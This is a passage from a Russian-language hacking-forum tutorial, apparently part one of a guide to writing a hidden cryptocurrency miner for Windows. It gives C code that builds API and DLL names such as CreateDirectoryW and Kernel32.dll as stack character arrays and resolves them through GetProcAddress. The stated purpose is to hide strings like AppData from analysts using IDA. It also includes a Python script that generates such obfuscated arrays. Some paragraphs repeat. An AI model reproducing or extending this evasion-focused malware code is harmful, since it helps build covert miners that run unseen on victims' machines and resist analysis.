1 Часть https://mipped.com/f/threads/skrytyj-majner-iz-govna-i-palok-za-15-minut-slishkom-mnogo-bukav.49389/
Этот код получит из системной переменной путь до аппдаты и положит в lpBuffer размером dwSize, вернув true если все оки шмоки. Кстати, извращения с таким написанием аппдатой нужны для того, чтобы в той же IDA при просмотре строк не было видно AppData, так как в данном случае она собирается прямиком на стеке, либо при помощи mov, либо push ( в зависимости от флагов оптимизации )
Шик, теперь прихуярим создание поддиректории в аппдате
очевидно читатель уже изрядно охуел от такой сборки строк на стеке. Так что отвечу: нет, я не мазохист, за меня все делает этот збс самодельный скрипт
Этот код получит из системной переменной путь до аппдаты и положит в lpBuffer размером dwSize, вернув true если все оки шмоки. Кстати, извращения с таким написанием аппдатой нужны для того, чтобы в той же IDA при просмотре строк не было видно AppData, так как в данном случае она собирается прямиком на стеке, либо при помощи mov, либо push ( в зависимости от флагов оптимизации )
Шик, теперь прихуярим создание поддиректории в аппдате
Код:
BOOL CreateSubdir(LPWSTR lpPath, LPWSTR lpDirName)
{
typedef BOOL (WINAPI *fnCreateDirectory)(
_In_ LPWSTR lpPathName,
_In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes
);
CHAR szCreateDirectory[] = { 'C', 'r', 'e', 'a', 't', 'e', 'D', 'i', 'r', 'e', 'c', 't', 'o', 'r', 'y', 'W', '\0' };
WCHAR szKernelLib[] = { L'K', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' };
fnCreateDirectory fpCreateDirectory = (fnCreateDirectory)GetProcAddress(GetModuleHandleW(szKernelLib), szCreateDirectory);
if (!fpCreateDirectory)
return FALSE;
LPWSTR lpNewPath = (LPWSTR)VirtualAlloc(0, 512, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!lpNewPath)
return FALSE;
wsprintfW(lpNewPath, L"%s\\%s", lpPath, lpDirName);
BOOL bRet = fpCreateDirectory(lpNewPath, 0);
if (GetLastError() == ERROR_ALREADY_EXISTS)
bRet = TRUE;
VirtualFree(lpNewPath, 0, MEM_RELEASE);
return bRet;
}
Код:
#/usr/bin/python
import sys
from Tkinter import Tk
if len(sys.argv) < 3:
print "stackstring.py <string> W/A"
sys.exit(1)
prefix = '';
array = 'CHAR arr[] = {'
if (sys.argv[2] == 'W'):
prefix = 'L'
array = 'WCHAR arr[] = {'
i = 0
while i < len(sys.argv[1]):
chr = sys.argv[1][i]
if (chr == '\\'):
chr = '\\\\'
i += 1
array+=prefix + "'" + chr + "'"
if (i != len(sys.argv[1]) - 1):
array+= ", "
i += 1
array += ", " + prefix + "'\\0'"
array += "};"
r = Tk()
r.withdraw()
r.clipboard_clear()
r.clipboard_append(array)
r.destroy()
print array
Последнее редактирование: